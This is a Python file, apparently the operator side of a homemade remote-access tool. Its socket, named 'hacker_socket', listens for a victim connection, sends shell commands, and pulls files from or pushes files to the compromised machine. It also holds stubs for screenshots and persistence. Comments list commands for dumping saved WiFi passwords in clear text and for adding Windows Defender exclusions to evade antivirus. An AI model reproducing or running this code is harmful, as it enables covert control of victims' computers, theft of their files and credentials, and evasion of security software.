sock.py

import socket, os
#commands for WiFi Password
#netsh wlan show profiles
#netsh wlan show profiles "SSID" key=clear

#command for antivirus exclusion
#Add-MpPreference -ExclusionPath [path]
IDENTIFIER = "<END_OF_COMMAND_RESULT>"
eof_identifier = "<END_OF_FILE_IDENTIFIER>"
CHUNK_SIZE = 2048

def receive_file():
    print("Receiving file")


if __name__ == "__main__":
    hacker_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    IP = "192.168.1.197" #private IP
    Port = 8008
    socket_address = (IP, Port)
    hacker_socket.bind(socket_address)
    hacker_socket.listen(5)
    print("listening for incoming connection requests")
    hacker_socket, client_address = hacker_socket.accept()
    print("connection established with ", client_address)
    try:
        while True:
            command = input("Enter the command: ")
            hacker_socket.send(command.encode())
            if command == "stop":

                hacker_socket.close()
                break

            elif command == "":
                continue

            elif command.startswith("cd"):
                hacker_socket.send(command.encode())
                continue
            elif command.startswith("download"):
                hacker_socket.send(command.encode())
                exist = hacker_socket.recv(1024)
                if exist.decode() == "yes":
                    print("file exists")
                    # receive file here
                    file_name = command.strip("download ")

                    with open(file_name, "wb") as file:
                        print("Downloading file")
                        while True:
                            chunk = hacker_socket.recv(CHUNK_SIZE)

                            if chunk.endswith(eof_identifier.encode()):
                                chunk = chunk[:-len(eof_identifier)]
                                file.write(chunk)
                                break
                            file.write(chunk)
                    print("Successfully downloaded, ", file_name)
            
            elif command.startswith("upload"):
                
                file_to_upload = command.strip("upload ")
                hacker_socket.send(command.encode())
                if os.path.exists(file_to_upload):
                    
                    with open(file_to_upload, "rb") as file:
                        chunk = file.read(CHUNK_SIZE)
                        
                        while len(chunk) > 0:
                            hacker_socket.send(chunk)
                            chunk = file.read(CHUNK_SIZE)
                        hacker_socket.send(eof_identifier.encode())
                    print("File sent successfully")
                

                else:
                    print("File doesn't exist")
                    continue
            
            elif command == "screenshot":
                print("taking screenshot")
            elif command == "persistance":
                print("Establishing persistance...")
            else:
                full_command_result = b''
                while True:

                    chunk = hacker_socket.recv(1048)
                    if chunk.endswith(IDENTIFIER.encode()):
                        chunk = chunk[:-len(IDENTIFIER)]
                        full_command_result += chunk
                        break

                    full_command_result +=chunk
                print(full_command_result.decode())
    except Exception:
        print(Exception)
        print("Exception occured")
        hacker_socket.close()